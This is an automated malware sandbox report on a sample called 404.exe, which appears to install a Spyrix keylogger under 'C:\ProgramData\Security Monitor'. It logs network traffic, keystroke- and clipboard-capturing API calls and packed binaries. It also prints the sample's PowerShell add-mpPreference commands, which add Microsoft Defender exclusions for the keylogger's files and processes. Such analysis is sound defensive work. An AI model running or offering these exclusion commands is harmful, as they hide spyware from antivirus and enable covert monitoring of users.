Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49723 version: TLS 1.2

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03356312 OpenClipboard,

46_2_03356312

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03356342 SetClipboardData,

46_2_03356342

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03356292 GetAsyncKeyState,

46_2_03356292

Source: spkl.exe, 0000002E.00000003.2970216869.000000000705C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_a8679b5d-8

Source: C:\Users\user\Desktop\404.exe

Code function: 0_2_09EA7E40 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,

0_2_09EA7E40

System Summary

PE file has nameless sections

Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:

Uses regedit.exe to modify the Windows registry

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '404.*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '404.*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03356252 NtdllDefWindowProc_A,

46_2_03356252

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_03355FFA: DeviceIoControl,

46_2_03355FFA

Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_024FDC34	0_2_024FDC34
Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_09EA2DF0	0_2_09EA2DF0
Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_09EAAFB0	0_2_09EAAFB0
Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_09EA0040	0_2_09EA0040
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03376654	46_2_03376654
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0338E88C	46_2_0338E88C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03381D50	46_2_03381D50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0336110C	46_2_0336110C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03360538	46_2_03360538
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DDB890	60_2_00DDB890
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DD20F0	60_2_00DD20F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DCA132	60_2_00DCA132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E3A140	60_2_00E3A140
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DE4170	60_2_00DE4170
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E30130	60_2_00E30130
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DCA132	60_2_00DCA132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E1A340	60_2_00E1A340
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_010485B0	60_2_010485B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DEF5D0	60_2_00DEF5D0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DEE590	60_2_00DEE590
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DF76C0	60_2_00DF76C0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E166B0	60_2_00E166B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DE36A0	60_2_00DE36A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DD0620	60_2_00DD0620
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E1A7B0	60_2_00E1A7B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DF59E0	60_2_00DF59E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DF2AC6	60_2_00DF2AC6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DD9A20	60_2_00DD9A20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00E38C20	60_2_00E38C20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DCA132	60_2_00DCA132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DE9D10	60_2_00DE9D10
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DD6F90	60_2_00DD6F90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DC1F10	60_2_00DC1F10

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: String function: 0337565C appears 36 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DD3610 appears 43 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 0104D1E8 appears 58 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DF7140 appears 136 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DC3850 appears 34 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DD3380 appears 47 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DC9DB0 appears 70 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00CC9C97 appears 36 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DC9DE0 appears 31 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00DF6FB0 appears 183 times

Source: 404.tmp.11.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 404.tmp.11.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-BDDH1.tmp.12.dr	Static PE information: Resource name: RT_BITMAP type: DOS executable (COM)
Source: is-BDDH1.tmp.12.dr	Static PE information: Resource name: RT_STRING type: COM executable for DOS
Source: is-BDDH1.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: COM executable for DOS
Source: is-NE9RG.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-NE9RG.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: ffws.exe.46.dr	Static PE information: Number of sections : 11 > 10
Source: is-H0VIM.tmp.12.dr	Static PE information: Number of sections : 13 > 10
Source: is-T1Q7P.tmp.12.dr	Static PE information: Number of sections : 11 > 10
Source: is-BDDH1.tmp.12.dr	Static PE information: Number of sections : 13 > 10
Source: is-M06NF.tmp.12.dr	Static PE information: Number of sections : 18 > 10

Source: 404.exe, 00000000.00000002.2291321664.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 404.exe
Source: 404.exe, 00000000.00000000.2026447323.0000000000378000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesfk.exe4 vs 404.exe
Source: 404.exe, 0000000B.00000003.2355136093.00000000024E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 404.exe
Source: 404.exe, 0000000B.00000003.2355581301.000000007FE3C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 404.exe

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"

Source: 404.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: is-H0VIM.tmp.12.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: is-BDDH1.tmp.12.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: is-H0VIM.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0016526442307692
Source: is-H0VIM.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-H0VIM.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0007161458333333
Source: is-H0VIM.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-H0VIM.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0003823138297872
Source: is-BDDH1.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0017903645833333
Source: is-BDDH1.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-BDDH1.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0008680555555556
Source: is-BDDH1.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-BDDH1.tmp.12.dr	Static PE information: Section: ZLIB complexity 1.0003551136363635

Source: 404.exe, Settings.cs

Base64 encoded string: 'HUXwGsL2qA2Klp4GxVUBZj53IhCCt8FRahOgIF5wxEYiSEtN7bkJKWuhYdnhpIJq4ktEaX6sYgMULWkDwyERY4HDwqInaXGo4qnrUpvjd0tmKZWB2ku0E0SAcqRtPSSAZhZds1rHDewgKe2WTGuymPkDYmPnYBULitMlA1SA1nwjEuy7w3ZIhcXK5WFFmErCKl6aRQWbxu58cB8mxRzdkLmFVComwNWx4uYcxYpgh7TwfXq4XbRVOOa770EPksojXIErlfyYkT4l1zj6UtPU5BjpTad5Ua4yTsYXT8S0m1u3SyGHRG30dTnWiXXLC1DKYGSIbLnVaXrDQoWeUWnNfEU8FCy5lHytxjfMf7pGciZFljG2A20pOznTuSCYWqtSi6OpJK7Vqhu6nOXe445rQJf74LaN4QsuyHgnVZsz3e8pEqpg4hcauBCZbQu7suaZxAHgrtJfMFxvKy3Ne3SXwS8xEGLFouGJDi0EiJyLX6OoNQPlVgcybDmfATbkhEza8nrk7znVFH8yETkx0isISQqA4VDPrNmTHwpihnnf1HtUEwaqsms7VrHs6rolwYm0dorQnBPM3MPLfW4I3VfEeo7Yp5lz8Bsdd20YFKCqWfDIb5Mjvgra1iWypSkqZYN2dvqmffCsSyq7kz6ttBEbTRk4gBsvjUR7RKnoOiEPd8HD0XNzUz6XUviLLvGdwPJ6gspaLReK5y6UJhEIx1asX2nfkcdbckbNzKgHrwoDVwbexOBmr6p4xZjmFJyswCqUXsd8A5aBNXXjbIqVaztf4fZZj2Bh65PSGGHFtClugnraBAL5ccR6RKZ0TEZH42DQIEdUBlkXN88Qx8XjqEFdnSA4qPupmezmkaR5gz4z03sSLIDUpyZzwimzEhnvz4usJVpWqaD0JOltjrsiLaAwE8zBwb17MJA5I8IzcqmOviqi62QVxFjZ37oKfniPiFnAOokjj2FewuBeSRE3KfJHijBJU7TxHXoq4pTRRpv48ElI6J0OioEC4gannaPkiQXYGTil6wlesOHd71MKGFPbTmuYOonzaLVrqMCmjOQvDjSqY6puOEdcB5FchKWRJuDh1Zvuzij0ycXtTEAR82lVq1puGiEZ17mSfux8K34oemnihVJdKFSQIq0AsBnQdK8